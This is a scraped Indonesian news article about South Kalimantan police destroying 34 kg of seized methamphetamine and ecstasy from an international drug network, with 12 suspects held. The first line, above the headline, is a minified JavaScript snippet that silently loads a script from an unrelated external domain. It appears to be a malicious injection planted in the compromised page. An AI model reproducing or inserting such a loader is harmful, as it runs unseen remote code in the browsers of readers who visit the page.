(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

34 Kg Narkotika Jaringan Internasional Dimusnahkan Polda Kalsel, 12 Tersangka Diamankan


KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Dit Resnarkoba Polda Kalsel memusnahkan barang bukti narkotika dan obat-obatan terlarang yang merupakan tangkapan narkoba Januari lalu. Pemusnahan sendiri dilakukan di Mapolda Kalsel di Banjarmasin, Jumat (14/2/2020) pagi.

Kapolda Kalsel Irjen Yazid Fanani melalui Direktur Resnarkoba Polda Kalsel Kombes Wisnu Widarto mengungkapkan, barang bukti yang berhasil disita oleh jajarannya mencapai 34.340,43 gram atau 34,34 kilogram.  Terdiri dari sabu seberat 27,98 kilogram, ekstasi sebanyak 9.267 butir dengan berat 3,52 kilogram, pil sabu sebanyak 19.900 butir dengan berat 2,1 kilogram, kapsul ekstasi sebanyak 600 butir dengan berat 0,2 kilogram, dan serbuk ekstasi seberat 0,5 kilogram.

“Ini dari 6 kasus dengan jumlah tersangka 12 orang. Jadi total yang dimusnahkan setelah dikurangi untuk laboratorium forensik dan barang bukti di persidangan adalah 34,27 kilogram,” kata Kombes Wisnu.

 

 

 

 

 

 

Ia tidak menampik, ungkapan kasus narkoba jaringan internasional ini merupakan yang terbesar sejak berdirinya Polda Kalsel. Jika dirunut dari data Dit Resnarkoba Polda Kalsel, ungkapan ini menduduki peringkat ketiga di Pulau Kalimantan. “Sebelumnya di Kalimantan Barat seberat 100 kilogram yang diungkap BNN, kemudian di Kalimantan Timur seberat 38 kilogram, dan kita di nomor tiga selama ini,” tambah Kombes Wisnu.

Ungkapan narkoba sebesar ini, diprediksi mampu menyelamatkan sebanyak 274.724 jiwa terhindar dari bahaya obat terlarang ini. Dengan asumsi, 1 gram sabu dikonsumsi sebanyak 8 orang, dan 1 butir ekstasi dikonsumsi oleh 1 orang.

“Pengungkapan ini murni di daerah kita sendiri (Kalsel), kalau di tahun 2018 kita jemput bola ke luar daerah tapi itu belum tentu barang masuk ke sini. Tapi kemarin setelah kita analisa, dengan keyakinan kita bahwa ada peredaran di Kalsel sendiri juga begitu besar setelah kita fokus ternyata terbukti,” jelasnya.

Apa yang diungkapkan Kombes Wisnu tidak salah. Pada akhir Januari lalu, pihaknya berhasil mengungkap peredaran narkoba jaringan internasional dengan membekuk tersangka dengan inisial NAZ pada Sabtu (18/1/2020) silam. “Kita ungkap (narkoba) dengan berat 32,5 kilogram sabu di wilayah kita. Dari catatan tersangka sudah dua tahun bekerja dan sudah 600 kilogram atau setengah ton lebih sabu yang beredar di Kalsel,” katanya. (Kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

3 menit ago

Kuliner Gratis dan Panjat Pinang Warnai Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More

47 menit ago

Peringatan Hari Jadi ke-72 Kabupaten HSU, Paman Birin: Syukuri Capaian Pembangunan

KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More

1 jam ago

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

3 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar, Komersialiasi Dunia Pendidikan Jadi Sorotan

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More

4 jam ago

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Ciptaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

6 jam ago

This website uses cookies.